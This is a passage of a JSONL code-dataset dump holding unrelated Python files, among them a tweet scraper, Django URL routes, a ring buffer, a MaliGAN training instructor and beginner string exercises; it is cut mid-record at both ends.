Tanzania\",\n \"840\": \"United States of America\",\n \"850\": \"United States Virgin Islands\",\n \"854\": \"Burkina Faso\",\n \"858\": \"Uruguay\",\n \"860\": \"Uzbekistan\",\n \"862\": \"Venezuela (Bolivarian Republic of)\",\n \"876\": \"Wallis and Futuna Islands\",\n \"882\": \"Samoa\",\n \"887\": \"Yemen\",\n \"894\": \"Zambia\",\n \"910\": \"High income economies (WB)\",\n \"911\": \"Low income economies (WB)\",\n \"912\": \"Lower middle economies (WB)\",\n \"914\": \"Upper middle economies (WB)\"\n }\n\n fix_dimension('REF_AREA', code_fix, description_fix)\n\n # Fix 16: Fix SEX coding:\n\n code_fix = {\n 'M': 'Male',\n 'F': 'Female'\n }\n\n description_fix = {\n '_T': 'Both sexes or no breakdown by sex',\n 'M': 'Male',\n 'F': 'Female'\n }\n\n fix_dimension('SEX', code_fix, description_fix)\n\n # Fix 17: Fix UNIT_MULT coding:\n\n code_fix = {\n '0': 'Units'\n }\n\n description_fix = {\n '0': 'Units'\n }\n\n fix_dimension('UNIT_MULT', code_fix, description_fix)\n\n\nwith open(\"data/02_AllData.json\", \"w\") as write_file:\n json.dump(data, write_file, indent=4)\n\nprint(\"The following series are not in the series catalog:\")\nprint(check)\n","sub_path":"scripts/deadwood/script01c_fixCodes.py","file_name":"script01c_fixCodes.py","file_ext":"py","file_size_in_byte":14416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"568280630","text":"from tkinter import *\n\nroot = Tk()\n\n#create text\n#wrap = WORD позволяет переносить целое слово со строки на строку а не по буквам\ntext = Text(width = 30, height = 10, bg = \"darkgreen\", fg = 'white', wrap = WORD)\ntext.pack(side = LEFT)\n\n#create scrollbar\n#с помощью command присваевается прокрутка теста по оси y\n#fill = Y, опускает scrollbar до конца страницы\nscroll = Scrollbar(command = text.yview)\nscroll.pack(side = LEFT, fill = Y)\n\n#В свою очередь текстовому полю опцией yscrollcommand устанавливается ранее созданный скроллер – scroll.set\ntext.config(yscrollcommand = scroll.set)\n\nroot.mainloop()","sub_path":"tkinter/textAndScrollbar.py","file_name":"textAndScrollbar.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"492599231","text":"# Global imports\nimport torch\nimport torch.nn as nn\n\n\nclass Angle_Loss(nn.Module):\n \"\"\" Computes average L1 Loss only where beetle is in ground truth data. \"\"\"\n\n def __init__(self):\n super(Angle_Loss, self).__init__()\n\n def forward(self, input, target):\n tmp = torch.clamp(target, 0, 1)\n\n # When beetles orientation in ground truth data is 0 degrees, you can't know where the beetle is located\n if torch.equal(tmp, torch.zeros_like(tmp)):\n output = torch.sum(input) / torch.numel(input)\n else:\n nonZero = torch.nonzero(target)\n output = torch.sum(torch.abs(target - tmp * input)) / torch.numel(nonZero)\n return output\n","sub_path":"src/framework/loss/custom_angle_loss.py","file_name":"custom_angle_loss.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"367514389","text":"import got, codecs\nfrom pymongo import MongoClient\n#import numpy\nimport pandas as pd\nfrom datetime import datetime, timedelta\n\nclient = MongoClient('localhost', 27017)\ndb = client['twitter_db']\ncollection = db['curtweets']\nnow = datetime.now()\nd = datetime.today() - timedelta(days=1)\ntweetCriteria = got.manager.TweetCriteria().setSince(str(d)[:10]).setUntil(str(now)[:10]).setMaxTweets(6000).setQuerySearch('india flood OR earthquake OR rains OR landslide')\n#tweetCriteria = got.manager.TweetCriteria().setSince(\"2017-08-27\").setUntil(\"2017-08-30\").setMaxTweets(6000).setQuerySearch('flood india OR earthquake OR rains OR landslide')\ndef streamTweets(tweets):\n for t in tweets:\n obj = {\"user\": t.username, \"retweets\": t.retweets, \"favorites\":\n t.favorites, \"text\":t.text,\"geo\": t.geo,\"mentions\":\n t.mentions, \"hashtags\": t.hashtags,\"id\": t.id,\n \"permalink\": t.permalink,}\n tweetind = collection.insert_one(obj).inserted_id\ngot.manager.TweetManager.getTweets(tweetCriteria, streamTweets)\n","sub_path":"corpusmngDB.py","file_name":"corpusmngDB.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"169703534","text":"from doubly_linked_list import DoublyLinkedList\n\n\nclass RingBuffer:\n def __init__(self, capacity):\n self.capacity = capacity\n self.current = None\n self.storage = DoublyLinkedList()\n\n def append(self, item):\n if self.storage.length != self.capacity:\n self.storage.add_to_tail(item)\n else:\n if self.current is None:\n self.storage.remove_from_head()\n self.storage.add_to_head(item)\n self.current = self.storage.head\n else:\n if self.current.next is not None:\n self.current.next.value = item\n self.current = self.current.next\n else:\n self.storage.head.value = item\n self.current = self.storage.head\n \n\n def get(self):\n # Note: This is the only [] allowed\n list_buffer_contents = []\n curr_node = self.storage.head\n for _ in range(self.storage.length):\n list_buffer_contents.append(curr_node.value)\n curr_node = curr_node.next\n\n return list_buffer_contents\n\n# ----------------Stretch Goal-------------------\n\n\nclass ArrayRingBuffer:\n def __init__(self, capacity):\n self.capacity = capacity\n self.current = None\n self.storage = [0]*capacity\n\n def append(self, item):\n if self.current is None:\n self.storage.pop(0)\n self.storage.insert(0, item)\n self.current = 0\n else:\n if self.current <= self.capacity-2:\n self.storage[self.current + 1] = item\n self.current += 1\n else:\n self.storage[0] = item\n self.current = 0\n\n def get(self):\n return self.storage\n","sub_path":"ring_buffer/ring_buffer.py","file_name":"ring_buffer.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"382776492","text":"# -*- coding: utf-8 -*-\n\nimport codecs, os\n\ndef _parz(msg):\n pz = msg.splitlines()\n mo = dict()\n optz = pz[0].split('/')\n mo.update( dict(zip(optz[::2],optz[1::2])) )\n for i,n in enumerate(('echoarea','date','msgfrom','addr','msgto','subj'),1):\n mo[n] = pz[i]\n mo['msg'] = '\\n'.join(pz[8:])\n mo['date'] = int(mo['date'])\n return mo\n\nf = codecs.open('../newmsg.txt','w','utf-8')\nfor m in open('.newmsg').read().splitlines():\n mo = _parz(codecs.open('msg/%s' % m,'r','utf-8').read())\n buf = m + '\\n' + mo['msgfrom'] + ' (' + str(mo['addr']) + ')\\nmsgto: ' + mo['msgto'] + '\\n' + mo['subj'] + '\\n\\n' + mo['msg']\n f.write('== %s ========================= ' % mo['echoarea'] + buf + '\\n\\n\\n')\nf.close()\n","sub_path":"ii-txt/.py/newmsg.py","file_name":"newmsg.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"210020311","text":"# Time complexity: O(nlog n)\n# Space complexity: O(n)\n\n# Idea is to split the array into two halves sort the two halves while merging them together. Divide and conquer strategy\n# Python program for implementation of MergeSort\ndef mergeSort(arr):\n if len(arr) == 1:\n return arr\n mid = len(arr)//2\n left = mergeSort(arr[:mid])\n right = mergeSort(arr[mid:])\n return merge(left, right)\n\n\ndef merge(left, right):\n left_idx, right_idx = 0, 0\n result = []\n # as long as the indices are within limits, add the minimum elements to the result array and advance respective indices\n while left_idx < len(left) and right_idx < len(right):\n if left[left_idx] < right[right_idx]:\n result.append(left[left_idx])\n left_idx += 1\n else:\n result.append(right[right_idx])\n right_idx += 1\n # if there are any elements left in either left or right array, add the to the result\n if left_idx < len(left):\n result += left[left_idx:]\n if right_idx < len(right):\n result += right[right_idx:]\n return result\n\n# Code to print the list\n\n\ndef printList(arr):\n print(arr)\n\n\n# driver code to test the above code\nif __name__ == '__main__':\n arr = [12, 11, 13, 5, 6, 7]\n print(\"Given array is\", end=\"\\n\")\n printList(arr)\n arr = mergeSort(arr)\n print(\"Sorted array is: \", end=\"\\n\")\n printList(arr)\n","sub_path":"Exercise_4.py","file_name":"Exercise_4.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"552404340","text":"# This file is part of Peach-Py package and is licensed under the Simplified BSD license.\n# See license.rst for the full text of the license.\n\n\nabi = None\ntarget = None\ndebug_level = 0\npackage = None\nassembly_format = \"go\"\ngenerate_assembly = None\nrtl_dump_file = None\nname_mangling = \"${Name}\"\n\n\ndef get_debug_level():\n import peachpy.x86_64.function as function\n if function.active_function is None:\n return debug_level\n else:\n return function.active_function.debug_level\n","sub_path":"peachpy/x86_64/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"319246165","text":"\"\"\"Web URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom apps.general.views import index, index1, index2, index3, index4, nosotros_view, productos_view, servicios_view,contactanos_view\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$', index, name = 'index'),\n url(r'^1/$', index1, name = 'index1'),\n url(r'^2/$', index2, name = 'index2'),\n url(r'^3/$', index3, name = 'index3'),\n url(r'^4/$', index4, name = 'index4'),\n url(r'^nosotros/$', nosotros_view, name = 'nosotros'),\n url(r'^productos/$', productos_view, name = 'productos'),\n url(r'^servicios/$', servicios_view, name = 'servicios'),\n url(r'^contactanos/$', contactanos_view, name = 'contactanos'),\n]\n","sub_path":"Web/Web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"122722766","text":"#!/usr/bin/env python3\n\nimport sys\nimport fontforge\n\nfont = fontforge.open(sys.argv[1])\n\n# Rename font\nfont.fontname = font.fontname.replace(\"-\", \"Condensed-\")\nfont.familyname += \" Condensed\"\nfont.fullname += \" Condensed\"\n\n# Condense\nfont.selection.all()\nfont.condenseExtend(0.85, 0)\nfont.round()\n\n# Save\nfont.generate(sys.argv[2])\n","sub_path":"bin/condense.py","file_name":"condense.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"14621070","text":"class Solution:\n \"\"\"\n @param coins: a list of integer\n @param amount: a total amount of money amount\n @return: the fewest number of coins that you need to make up\n \"\"\"\n\n def coinChange(self, coins, amount):\n # write your code here\n dp = [0] + [float('inf')] * amount\n for i in range(1, amount + 1):\n for j in range(len(coins)):\n if coins[j] <= i:\n dp[i] = min(dp[i], dp[i - coins[j]] + 1)\n return dp[amount] if dp[amount] <= amount else -1\n","sub_path":"lintcode/669-coin-change.py","file_name":"669-coin-change.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"205005914","text":"from django.db import models\n\n\nUSER_ROLES = (\n ('ST', 'Student'),\n ('TE', 'Teacher')\n)\n\n\nclass UserRoleField(models.CharField):\n \"\"\"\n A CharField representing the user role\n Can be ST (Student) or TE (Teacher)\n \"\"\"\n def __init__(self, *args, **kwargs):\n kwargs['default'] = 'ST'\n kwargs['max_length'] = 2\n kwargs['choices'] = USER_ROLES\n super(UserRoleField, self).__init__(*args, **kwargs)\n","sub_path":"get_a_room/accounts/my_fields.py","file_name":"my_fields.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"113259377","text":"import prof\nimport subprocess\n\ndef _cmd_ascii(text):\n recipient = prof.get_current_recipient()\n if recipient:\n proc = subprocess.Popen(['figlet', '--', text], stdout=subprocess.PIPE)\n ascii_out = proc.communicate()[0].decode('utf-8')\n prof.send_line(u'\\u000A' + ascii_out)\n\ndef prof_init(version, status):\n prof.register_command(\"/ascii\", 1, 1, \"/ascii\", \"ASCIIfy a message\", \"ASCIIfy a message.\", _cmd_ascii)\n","sub_path":"ascii.py","file_name":"ascii.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"18227113","text":"# -*- coding: utf-8 -*-\n# @Author : William\n# @Project : TextGAN-william\n# @FileName : maligan_instructor.py\n# @Time : Created at 2019/10/17\n# @Blog : http://zhiweil.ml/\n# @Description : \n# Copyrights (C) 2018. All Rights Reserved.\n\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport config as cfg\nfrom instructor.oracle_data.instructor import BasicInstructor\nfrom models.MaliGAN_D import MaliGAN_D\nfrom models.MaliGAN_G import MaliGAN_G\nfrom utils.data_loader import GenDataIter, DisDataIter\n\n\nclass MaliGANInstructor(BasicInstructor):\n def __init__(self, opt):\n super(MaliGANInstructor, self).__init__(opt)\n\n # generator, discriminator\n self.gen = MaliGAN_G(cfg.gen_embed_dim, cfg.gen_hidden_dim, cfg.vocab_size, cfg.max_seq_len,\n cfg.padding_idx, gpu=cfg.CUDA)\n self.dis = MaliGAN_D(cfg.dis_embed_dim, cfg.vocab_size, cfg.padding_idx, gpu=cfg.CUDA)\n self.init_model()\n\n # Optimizer\n self.gen_opt = optim.Adam(self.gen.parameters(), lr=cfg.gen_lr)\n self.gen_adv_opt = optim.Adam(self.gen.parameters(), lr=cfg.gen_lr)\n self.dis_opt = optim.Adam(self.dis.parameters(), lr=cfg.dis_lr)\n\n def _run(self):\n # ===PRE-TRAINING===\n # TRAIN GENERATOR\n if not cfg.gen_pretrain:\n self.log.info('Starting Generator MLE Training...')\n self.pretrain_generator(cfg.MLE_train_epoch)\n if cfg.if_save and not cfg.if_test:\n torch.save(self.gen.state_dict(), cfg.pretrained_gen_path)\n print('Save pre-trained generator: {}'.format(cfg.pretrained_gen_path))\n\n # ===TRAIN DISCRIMINATOR====\n if not cfg.dis_pretrain:\n self.log.info('Starting Discriminator Training...')\n self.train_discriminator(cfg.d_step, cfg.d_epoch)\n if cfg.if_save and not cfg.if_test:\n torch.save(self.dis.state_dict(), cfg.pretrained_dis_path)\n print('Save pre-trained discriminator: {}'.format(cfg.pretrained_dis_path))\n\n # ===ADVERSARIAL TRAINING===\n self.log.info('Starting Adversarial Training...')\n self.log.info('Initial generator: %s' % (self.cal_metrics(fmt_str=True)))\n\n for adv_epoch in range(cfg.ADV_train_epoch):\n self.log.info('-----\\nADV EPOCH %d\\n-----' % adv_epoch)\n self.sig.update()\n if self.sig.adv_sig:\n self.adv_train_generator(cfg.ADV_g_step) # Generator\n self.train_discriminator(cfg.ADV_d_step, cfg.ADV_d_epoch, 'ADV') # Discriminator\n\n if adv_epoch % cfg.adv_log_step == 0 or adv_epoch == cfg.ADV_train_epoch - 1:\n if cfg.if_save and not cfg.if_test:\n self._save('ADV', adv_epoch)\n else:\n self.log.info('>>> Stop by adv_signal! Finishing adversarial training...')\n break\n\n def _test(self):\n print('>>> Begin test...')\n\n self._run()\n pass\n\n def pretrain_generator(self, epochs):\n \"\"\"\n Max Likelihood Pre-training for the generator\n \"\"\"\n for epoch in range(epochs):\n self.sig.update()\n if self.sig.pre_sig:\n pre_loss = self.train_gen_epoch(self.gen, self.oracle_data.loader, self.mle_criterion, self.gen_opt)\n\n # ===Test===\n if epoch % cfg.pre_log_step == 0 or epoch == epochs - 1:\n self.log.info(\n '[MLE-GEN] epoch %d : pre_loss = %.4f, %s' % (epoch, pre_loss, self.cal_metrics(fmt_str=True)))\n if cfg.if_save and not cfg.if_test:\n self._save('MLE', epoch)\n else:\n self.log.info('>>> Stop by pre signal, skip to adversarial training...')\n break\n\n def adv_train_generator(self, g_step):\n \"\"\"\n The gen is trained by MLE-like objective.\n \"\"\"\n total_g_loss = 0\n for step in range(g_step):\n inp, target = GenDataIter.prepare(self.gen.sample(cfg.batch_size, cfg.batch_size), gpu=cfg.CUDA)\n\n # ===Train===\n rewards = self.get_mali_reward(target)\n adv_loss = self.gen.adv_loss(inp, target, rewards)\n self.optimize(self.gen_adv_opt, adv_loss)\n total_g_loss += adv_loss.item()\n\n # ===Test===\n self.log.info('[ADV-GEN]: g_loss = %.4f, %s' % (total_g_loss, self.cal_metrics(fmt_str=True)))\n\n def train_discriminator(self, d_step, d_epoch, phase='MLE'):\n \"\"\"\n Training the discriminator on real_data_samples (positive) and generated samples from gen (negative).\n Samples are drawn d_step times, and the discriminator is trained for d_epoch d_epoch.\n \"\"\"\n # prepare loader for validate\n global d_loss, train_acc\n pos_val = self.oracle.sample(8 * cfg.batch_size, 4 * cfg.batch_size)\n neg_val = self.gen.sample(8 * cfg.batch_size, 4 * cfg.batch_size)\n dis_eval_data = DisDataIter(pos_val, neg_val)\n\n for step in range(d_step):\n # prepare loader for training\n pos_samples = self.oracle_samples # not re-sample the Oracle data\n neg_samples = self.gen.sample(cfg.samples_num, 4 * cfg.batch_size)\n dis_data = DisDataIter(pos_samples, neg_samples)\n\n for epoch in range(d_epoch):\n # ===Train===\n d_loss, train_acc = self.train_dis_epoch(self.dis, dis_data.loader, self.dis_criterion,\n self.dis_opt)\n\n # ===Test===\n _, eval_acc = self.eval_dis(self.dis, dis_eval_data.loader, self.dis_criterion)\n self.log.info('[%s-DIS] d_step %d: d_loss = %.4f, train_acc = %.4f, eval_acc = %.4f,' % (\n phase, step, d_loss, train_acc, eval_acc))\n\n if cfg.if_save and not cfg.if_test:\n torch.save(self.dis.state_dict(), cfg.pretrained_dis_path)\n\n def get_mali_reward(self, samples):\n rewards = []\n for _ in range(cfg.rollout_num):\n dis_out = F.softmax(self.dis(samples), dim=-1)[:, 1]\n rewards.append(dis_out)\n\n rewards = torch.mean(torch.stack(rewards, dim=0), dim=0) # batch_size\n rewards = torch.div(rewards, 1 - rewards)\n rewards = torch.div(rewards, torch.sum(rewards))\n rewards -= torch.mean(rewards)\n rewards = rewards.unsqueeze(1).expand(samples.size()) # batch_size * seq_len\n\n return rewards\n","sub_path":"instructor/oracle_data/maligan_instructor.py","file_name":"maligan_instructor.py","file_ext":"py","file_size_in_byte":6588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"145494673","text":"import re\nimport itertools\n\n\ndef is_string(string):\n return isinstance(string, str)\n\n\nprint(is_string('hello')) # True\nprint(is_string(['hello'])) # False\nprint(is_string('this is a long sentence')) # True\nprint(is_string({'a': 2})) # False\n\n\ndef is_only_string(string):\n return type(string) is str and \\\n \" \" in string and any(char.isdigit() for char in string)\n\n\nprint(is_only_string('11')) # False\nprint(is_only_string(['hello'])) # ? Please handle this case!! Should return False\nprint(is_only_string('this is a long sentence')) # False\nprint(is_only_string({'a': 2})) # # ? Please handle this case!! Should return False\nprint(is_only_string(\"1 2\"))\n\n\ndef is_alphanumeric(string):\n return is_string(string) and re.match(\"[0-9a-zA-z]\", string) and re.match(\"[0-9]+\", string)\n\n\nprint(is_alphanumeric('11')) # True\nprint(is_alphanumeric(['hello'])) # False\nprint(is_alphanumeric('this is a long sentence')) # False\nprint(is_alphanumeric({'a': 2})) # False\nprint(is_alphanumeric(\"this is string....!!!\")) # False\n\n\ndef is_array_or_tuple(string):\n if isinstance(string, list) or isinstance(string, tuple):\n return \"is_array_or_tuple is true\"\n else:\n return \"is_array_or_tuple is false\"\n\n\nprint(is_array_or_tuple('hello')) # False\nprint(is_array_or_tuple(['hello'])) # True\nprint(is_array_or_tuple([2, {}, 10])) # True\nprint(is_array_or_tuple({'a': 2})) # False\nprint(is_array_or_tuple((1, 2))) #\nprint(is_array_or_tuple(set()))\n\n\ndef are_same_type(some_input):\n first = type(some_input[0])\n for element in some_input[1:]:\n if not isinstance(element, first):\n return False\n return True\n\n\ndef are_same_type_alt(some_input):\n iseq = iter(some_input)\n first = type(next(iseq))\n return all((type(x) is first) for x in iseq)\n\n\nprint(are_same_type_alt(['hello', 'world', 'long sentence'])) # True\nprint(are_same_type_alt([1, 2, 9, 10])) # True\nprint(are_same_type_alt([1, 2, 9, 10, \"hello\"])) # False\nprint(are_same_type([['hello'], 'hello', ['bye']])) # False\nprint(are_same_type([['hello'], [1, 2, 3], [{'a': 2}]])) # True\nprint(are_same_type([['hello'], set('hello')])) # False\n\n\ndef longest_string(s1, s2):\n if type(s1) is not str or type(s2) is not str:\n return False\n # testing that inputs are strings containing lowercase a-z\n if not re.match(\"[a-z]\", s1) and not re.match(\"[a-z]\", s2):\n return False\n else:\n empty = []\n S = s1+s2\n for element in S:\n if element not in empty:\n empty.append(element)\n empty = sorted(empty)\n empty = ''.join(empty)\n return empty\n\n\na = 'xyaabbbccccdefww'\nb = 'xxxxyyyyabklmopq'\nx = 'abcdefghijklmnopqrstuvwxyz'\ny = 12\n\n\nprint(longest_string(a, b)) # abcdefklmopqwxy\nprint(longest_string(a, x)) # abcdefghijklmnopqrstuvwxyz\nprint(longest_string(a, y)) # False\n\n\ndef convert(number):\n string = str(number)\n new_list = []\n for element in string:\n new_list.append(element)\n return sorted(new_list, reverse=True)\n\n\nprint(convert(429563)) # [9, 6, 5, 4, 3, 2]\nprint(convert(324)) # [4, 3, 2]\n\n\ndef count_repetition(some_list):\n dictionary = {}\n for element in some_list:\n if element not in dictionary:\n dictionary[element] = 1\n else:\n dictionary[element] += 1\n return dictionary\n\n\nprint(count_repetition(['kerouac', 'fante', 'fante', 'buk', 'hemingway', 'hornby', 'kerouac', 'buk', 'fante']))\n# {'kerouac': 2, 'fante': 3, 'buk': 2, 'hemingway': 1, 'hornby': 1}\n\n\ndef is_caught(string):\n c = string.find(\"C\") + 1\n m = string.find(\"m\")\n return len(string[c:m]) < 3\n\n\nprint(is_caught('C.....m')) # False\nprint(is_caught('C..m')) # True\nprint(is_caught('..C..m')) # True\nprint(is_caught('...C...m')) # False\nprint(is_caught('C.m')) # True\n\n\ndef split_the_bill(group):\n value_sum = 0\n # compute the average\n for key, value in group.items():\n value_sum += value\n avg = value_sum / len(group)\n # determine the difference from what was actually paid\n for key, value in group.items():\n group[key] = avg - value\n return group\n\n\ngroup = {\n 'Amy': 20,\n 'Bill': 15,\n 'Chris': 10\n}\nprint(split_the_bill(group)) # { 'Amy': -5, 'Bill': 0, 'Chris': 5 }\n\n\ndef exp_recursive(b, n):\n if n == 0:\n return 1\n if n >= 1:\n return b * exp_recursive(b, n - 1)\n\n\nprint(exp_recursive(5, 3)) # 125\nprint(exp_recursive(2, 4)) # 16\nprint(exp_recursive(5, 1)) # 5\nprint(exp_recursive(6, 0)) # 1\n\n\ndef zero_sum(arr):\n # making sure input is a list of numbers\n if not (are_same_type(arr) and isinstance(arr[0], int)):\n return False\n list_of_pos = []\n for i in range(len(arr)):\n # start second loop at i so you don't repeat the i's you've already been through\n # also to prevent repetition\n for j in range(i, len(arr)):\n if arr[i] + arr[j] == 0:\n index = [i, j]\n list_of_pos.append(index)\n # with list comprehension\n # [[i,j] for i in range(len(arr)) for j in range(i, len(arr)) if arr[i] + arr[j] == 0]\n if len(list_of_pos) >= 1:\n return list_of_pos[:]\n\n\nprint(zero_sum([1, 5, 0, -5, 3, -1])) # [[0, 5], [1, 3], [2, 2]]\nprint(zero_sum([1, -1])) # [[0, 1]]\nprint(zero_sum([0, 4, 3, 5])) # [[0, 0]]\n\n\ndef count_upper_lower():\n sentence = str(input(\"Sentence to evaluate: \"))\n upper_count = 0\n lower_count = 0\n for i in sentence:\n if i.isupper():\n upper_count += 1\n if i.islower():\n lower_count += 1\n return \"UPPER CASE {} LOWER CASE {}\".format(upper_count, lower_count)\n\n\n# print(count_upper_lower())\n\n\ndef new_dict(dict_input):\n new = current = {}\n for name in dict_input:\n current[name] = {}\n current = current[name]\n return new\n\n\nprint(new_dict([1, 2, 3, 4, 5])) # {1: {2: {3: {4: {5: {}}}}}}\n\n\ndef banking():\n amount = 0\n while True:\n deposit = input(\"deposit: \")\n if not deposit:\n break\n else:\n deposit = int(deposit)\n amount += deposit\n while True:\n withdraw = input(\"withdraw: \")\n if not withdraw:\n break\n else:\n withdraw = int(withdraw)\n amount += withdraw\n return amount\n\n\n# print(banking())\n\n\ndef print_dictionary():\n newer_dict = {}\n for i in range(1, 21):\n newer_dict[i] = i**2\n print(newer_dict[i])\n\n\n# print_dictionary()\n\n\ndef permute(some_list):\n return list(itertools.permutations(some_list, 3))\n\n\nprint(permute([1, 2, 3])) # [[3, 2, 1], [2, 3, 1], [2, 1, 3], [3, 1, 2], [1, 3, 2], [1, 2, 3]]\n\n\ndef perms(nums):\n result_perms = [[]]\n for n in nums:\n new_perms = []\n for perm in result_perms:\n for i in range(len(perm) + 1):\n new_perms.append(perm[:i] + [n] + perm[i:])\n result_perms = new_perms\n return result_perms\n\n\nprint(perms([1, 2, 3]))\n\n\ndef zero_nine(num):\n num = num % 10\n if num == 1:\n word = 'one'\n return word\n if num == 2:\n word = 'two'\n return word\n if num == 3:\n word = 'three'\n return word\n if num == 4:\n word = 'four'\n return word\n if num == 5:\n word = 'five'\n return word\n if num == 6:\n word = 'six'\n return word\n if num == 7:\n word = 'seven'\n return word\n if num == 8:\n word = 'eight'\n return word\n if num == 9:\n word = 'nine'\n return word\n if num == 0:\n word = 'zero'\n return word\n else:\n word = ''\n return word\n\n\ndef teens(num):\n if num == 11:\n word = 'eleven'\n return word\n if num == 12:\n word = 'twelve'\n return word\n if num == 13:\n word = 'thirteen'\n return word\n if num == 14:\n word = 'fourteen'\n return word\n if num == 15:\n word = 'fifteen'\n return word\n if num == 16:\n word = 'sixteen'\n return word\n if num == 17:\n word = 'seventeen'\n return word\n if num == 18:\n word = 'eighteen'\n return word\n if num == 19:\n word = 'nineteen'\n return word\n\n\ndef twenties(num):\n num = num - (num % 10)\n if num == 10:\n word = 'ten'\n return word\n if num == 20:\n word = 'twenty'\n return word\n if num == 30:\n word = 'thirty'\n return word\n if num == 40:\n word = 'fourty'\n return word\n else:\n word = ''\n return word\n\n\ndef write_number(num):\n if num < 10:\n return zero_nine(num)\n if num > 10 and num < 20:\n return teens(num)\n if num > 19 and num < 50:\n return twenties(num) + zero_nine(num)\n\n\n#\n# print(write_number(11)) # \"eleven\"\n# print(write_number(2)) # \"two\"\n# print(write_number(32)) # \"thirty-two\"\n# print(write_number(10))\n# print(write_number(44))\n","sub_path":"python/week1/day1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":8951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"307633078","text":"import os\nfrom math import sqrt, ceil\nfrom random import randint\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import Model\nfrom keras.models import load_model\nfrom augment import *\n\n\ndef visualize(model, layer_names, image):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n image = cv2.resize(image, (200, 100))\n\n for layer_name in layer_names:\n # Show layer\n layer_out = Model(input=model.layers[0].input, output=model.get_layer(layer_name).output)\n out = layer_out.predict(np.array([image]))\n\n print(out.shape)\n for i in range(out.shape[3]):\n result = np.empty((out.shape[1], out.shape[2], 3))\n result[:, :, 0] = out[0, :, :, i]\n result[:, :, 1] = out[0, :, :, i]\n result[:, :, 2] = out[0, :, :, i]\n result += 0.5\n cv2.imwrite(\"visualize/layer_{}_{}.png\".format(layer_name, i), result * 255)\n\n\ndef show_augmentation(image):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n image = cv2.resize(image, (200, 100))\n translated_image, shift = random_shift(image)\n cv2.imwrite(\"visualize/brightness.png\", augment_lightness(image))\n cv2.imwrite(\"visualize/shadow.png\", add_random_shadow(image))\n cv2.imwrite(\"visualize/translate.png\", translated_image)\n cv2.imwrite(\"visualize/flip.png\", cv2.flip(image, 1))\n\n\ndef random_image(folder):\n files = os.listdir(folder + \"/IMG/\")\n index = randint(0, len(files))\n return cv2.imread(folder + \"/IMG/\" + files[index])\n\n\nmodel = load_model('model.h5')\n# visualize(model, ['visual_1', 'color_space'], random_image('samples/from_side'))\nshow_augmentation(random_image('samples/from_side'))","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"284401452","text":"from argparse import Namespace\nfrom gooey import GooeyParser\nfrom pathlib import Path\nfrom typing import Optional\n\nimport numpy as np\nimport tensorflow as tf # type: ignore\n\nfrom .train_config import WEIGHTS\n\n\nclass TestConfig():\n NAME = None\n\n WEIGHT = 'last'\n\n RESULT_DIR = \"results/\"\n\n\ndef test_config_parser(\n parser: GooeyParser = GooeyParser(),\n title='Test Setting',\n test_config: TestConfig = TestConfig(),\n # modifiable: bool = True,\n ) -> GooeyParser:\n\n load_parser = parser.add_mutually_exclusive_group(\n 'Load Weights')\n load_parser.add_argument(\n '--load_pretrained_weights',\n choices=WEIGHTS,\n # default=test_config.WEIGHT,\n )\n # load_parser.add_argument(\n # '--load_specific_weights',\n # choices=\n # )\n load_parser.add_argument(\n '--load_pretrained_file',\n widget='FileChooser'\n )\n\n log_parser = parser.add_argument_group(\n 'Log',\n \"Save result options\",\n gooey_options={'show_border': True, 'columns': 2}\n )\n log_parser.add_argument(\n \"--result-path\", type=str,\n metavar='Result File Path.',\n default=(Path(test_config.RESULT_DIR).joinpath('untitled' if 